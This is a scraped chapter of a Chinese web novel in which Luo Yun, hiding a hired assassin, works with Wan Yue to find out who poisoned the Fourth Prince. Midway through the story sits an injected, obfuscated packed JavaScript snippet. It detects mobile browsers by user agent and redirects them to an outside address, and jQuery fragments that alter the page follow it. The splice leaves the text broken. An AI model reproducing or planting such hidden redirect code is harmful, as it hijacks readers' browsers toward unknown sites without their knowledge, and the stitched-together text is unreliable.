徐昭欢气愤地咬了几口馒头,而罗韵还在琢磨四皇子被人下药一事。
“小姐,世子来了。”
屋外传来冬月的轻声呼叫,罗韵听到后向徐昭欢指了指门后,让徐昭欢去那边躲一会。
徐昭欢立即领会到罗韵的意思,拿起一个馒头,慢悠悠地走到指定地方。
一开门,罗韵只见到冬月站在门口。
冬月看到罗韵探头寻什么,她移开一步,侧身看向万阅的位置,用手掌引领罗韵视线往院子大门看,“小姐,世子在那里。”
罗韵顺着冬月的手的方向,看到万阅披着一件黑色大氅,立在朱红门外,身子笔挺,一脸淡然地望着她。
万阅看到罗韵,便带着苏典走过去。
罗韵一边等着万阅过来,一边嘱咐冬月:“待会麻烦冬月你帮我在外门把守一会,你拿张凳子去门口坐着,看见有人来告诉我一声,尤其是那些士兵和丞相。”
目前,罗韵所在的南文王朝是皇权专制背景,她在看小说的时候发现,这个朝代等级制度严苛,权贵视人命如草芥,内部各皇子自相残杀、暗中夺权,又因外敌虎视眈眈,这会的南文王朝正处于动荡时期。
她如今有婚约在身,跟万阅见面也就算了,若是跟他共处一室被人看到容易生事。
尤其是邹潭凛,昨天罗韵见他对她有意见,所以她要谨慎一些。
“快进来。”
罗韵特意只开了一人进入的门缝口,怕门开大了,让冬月看到徐昭欢。
万阅一进去,就跟拿着馒头的徐昭欢对上视线,他身子一怔,另一只踏入房门的脚轻轻落下。
徐昭欢看见有陌生男人进来,是一个看起来冷若冰霜的男人,她咬着馒头朝他笑了一下。
“世子,苏典就在外面帮你守着。”
起初,苏典得知世子昨天就去找罗小姐,且直接进入人家的厢房,他大为震惊。他想不明白世子怎么会认识已有婚约的罗家小姐?
这会,世子再次来找罗姑娘,毫无顾忌地走进人家屋子。这是什么事啊,有什么话不能在屋外说吗!
眼下,他得帮世子把风,避免让别人看到传出闲话,等回到南厢房再问问世子这是怎么回事。
万阅没有错过苏典欲言又止且着急崩溃还得维持镇定的样子,他只是朝着苏典点头道谢,“好,谢谢。”
他不是世子万阅,没必要跟这里的人有过多的接触。
罗韵上前去把万阅怼到一边,朝着门外的两个人笑了笑,“你俩把院子的门关上,在门后帮我们守着。”看到两人生无可恋的表情,罗韵解释道:“放心,我们不是在幽会,我们都不是彼此喜欢的类型。”
最后,罗韵在他们的惊讶又迷惑的眼神中把门关上。
屋内,两个刚见面的人面面相觑。
罗韵指着万阅,对着面露惊愕之色的徐昭欢说,“介绍一下,这位是世子万阅,他知道你在这没有关系,他不会出卖你的。”
徐昭欢围着万阅前后打量了一遍,表情略微严肃,“身子板太瘦了,一看就没有力气。”她对着罗韵面露嫌弃的眼光,“就算你不喜那个什么王爷,要找情夫,也不能找这样的吧?”
“我认识几个江湖朋友,个个人高马大,武艺高超。人品也还行,大方,不爱计较。”
徐昭欢拦着罗韵的肩膀,眼睛看着万阅,“你可是我的救命恩人,他们给你当情夫,绰绰有余!”
罗韵和万阅听到徐昭欢误会他们的关系,两人尴尬地对视一眼,异口同声道——
“他不是我的情夫。”
“我不是她的情夫。”
罗韵深深呼了口气,她刚才说的话白讲了,徐昭欢一点都没听到。
“哦,不是?那你们现在待在这里要干什么?”徐昭欢伸手随意比划了一下,最后她指了指床,又指了指门,“我需要回避吗?”
万阅看向罗韵,他大致猜到这个女人是谁。
昨晚四皇子遇刺,听闻刺客逃到后山,至今还没有抓到人,应该就是眼前这个女人。
他只是没想到,是罗韵把她藏起来。
“不用,我需要你在这里帮我解答一些问题。”罗韵看着徐昭欢手上的半个馒头,“你先吃饱肚子,我和他说一下。”
徐昭欢来回了两人一眼,挑眉道:“行吧。”
她走到桌子边坐下,继续喝粥吃馒头。
罗韵在徐昭欢旁边坐下,看到万阅杵在原地,对他招招手,“过来,过来,我们坐这里说。”她顺手拉出一把椅子,让万阅在自己旁边坐下,“我发现一个惊天大秘密!”
想到自己的猜测,罗韵心里有些激动。
如果这个凶手是应水寺的僧人,那么她可要好好利用这个机会,帮四皇子找到凶手,解除隐患。
紧接着,四皇子可能会提出要报答她,她就可以趁机向四皇子提出自己的需求,让他帮忙解除她与广德王爷的亲事。
就算不能顺利解除婚约,但是起码也是一个办法,罗韵觉得自己可以试试。
万阅见罗韵一脸兴奋的样子,犹如那会得知自己的四级成绩超过他时的模样。
大一,某次课间时间,大家都在查英语四级成绩,坐在万阅旁边的李洪智瞄到他的分数时,当即念出来。
那时,万阅留意到坐在他前面的罗韵听到他的分数后一瞬间眼睛都亮了,脸上也扬起笑容。
他便知道罗韵的成绩比他高。
后来,万阅去找学习委员问罗韵的纸质成绩单,也就是他的舍友,给他看了罗韵的四级成绩,看到她比他高十分。
万阅走过去,坐在罗韵刚拿出的椅子上,“什么秘密?”
“我猜测,雇佣刺客的人和给四皇子下药的人兴许是同一个人!凶手有可能是昨晚在四皇子房间的那个僧人,他一边雇佣刺客来刺杀四皇子,一边自己暗中下药,同步进行刺杀计划!最后,他把毒杀四皇子的罪责栽赃在刺客身上,也就是她的身上。”
罗韵指了指徐昭欢,徐昭欢在一旁点头表示是这样子的。
“但是吧,我不知道凶手的动机,我现在也没有证据,只有猜测。”罗韵说完后,她发现还有很多疑惑的地方,“现在,首先要找出昨晚在四皇子房间的那个僧人是谁。”
万阅默默点头,表示知道,“原来你们也听说四皇子被人下毒的事情。今早苏典跟我说昨晚太医深夜赶来,诊断出四皇子是中毒。”
他看向徐昭欢,问罗韵:“她是昨晚的刺客吧,为什么让她留在这?”
罗韵看过去,看见徐昭欢望着他们,她回万阅,“她嘛,叫徐昭欢,一个江湖杀手,昨晚也是收钱财办事。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082491|195349||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
听到罗韵的话,徐昭欢干笑两声,道:“你们聚在这,不会就是聊我昨晚行刺的事吧?”
“诶呀!”已经吃饱的徐昭欢伸手扶着桌面,看着对罗韵再次强调,“我都说了我就是用刀划了四皇子两三下,不是我给他下药,他现在昏迷不醒不是我造成的。刚才你不是说过了吗,我是被栽赃的。”
万阅看着坐在对面的徐昭欢,盯着她的眼睛,缓缓问道:“你是收了谁的钱来行刺?”
既然罗韵隐藏这个女刺客在自己屋子里,那么四皇子遇害的真相一事肯定很重要。
也不知四皇子和这个女刺客在剧本里扮演什么角色?
徐昭欢瞄了罗韵一眼,回万阅:“不知道,他全身蒙着黑布。”
徐昭欢说完,一副冰凉的目光扫过来,只见男人眼神毫无波澜,是个情绪不轻易外露的人,她意识到这个男人也就表面看起来瘦弱,实则有点城府。
“干我们这一行的,一般都不需要知道顾客姓名,我们只看金子。”
罗韵想到一点,对上徐昭欢的视线,“这个人怎么知道四皇子昨天一定会来应水寺?并且,还让你晚上动手。”
徐昭欢摇头,“不清楚,他只叫我在三月初二的晚上去应水寺的东厢房杀了他,而且只有这一次机会,让我见机行事,速战速决。”
东厢房…
万阅把昨晚听到的对话告诉罗韵,语气带着一些不解,“昨晚四皇子说,他原本是住在南厢房的,但空明师父似乎给他算过,让他今年住在东厢房。听四皇子的语气,他之前也来过应水寺,而且也在应水寺留宿过。”
“我昨天早上听观澜师父说,一般情况下,男客留宿住在南厢房,女客在西厢房,东厢房一般不对外开放。”
万阅说完,突然看着徐昭欢,朝着罗韵冷不丁来了一句:“罗韵,你确定她没问题?”
他心里有些不放心,罗韵还没告诉他这个女人的底细。
话题转的有点快,罗韵一时没反应过来,“啊?”
罗韵看过去,看到万阅在跟她使眼神,她看懂万阅的意思,“没有问题,”说着,罗韵对万阅竖起了大拇指,“她是这个。”
“行,你清楚就行。”万阅想到四皇子,问:“四皇子呢?”
“四皇子应该也是这个。”罗韵再次竖起大拇指。
徐昭欢听见他们打哑谜,她猜出来罗韵做的动作是什么意思,伸出手在两人中间竖起大拇指,美滋滋道:“多谢你俩对我的夸赞。”
她站起来,挡在两人中间,“你俩也不用在我面前打暗语了,既然选择相信我,你们就敞开了说吧,我保证不跟别人泄露你们今日说的话。”
听到徐昭欢的保证,万阅和罗韵对视一眼,万阅问罗韵:“你为何如此关注四皇子昏迷的真相?”
罗韵对万阅说出自己的计划,“我想要为自己博得一次能抗婚的机会。”她看着万阅和徐昭欢,认真道:“如果这次能帮四皇子找到下毒凶手,也许我可以跟他要一个条件。”
万阅问:“万一四皇子的人或者官府的人先比你找到真凶呢?又或者,四皇子根本不会帮你?”
“那又有什么关系呢?指不定是我先找到凶手。”罗韵信心满满地说,她盯着万阅的眼睛,露出坚定的眼神,“只要有机会,我就要为自己拼一把。”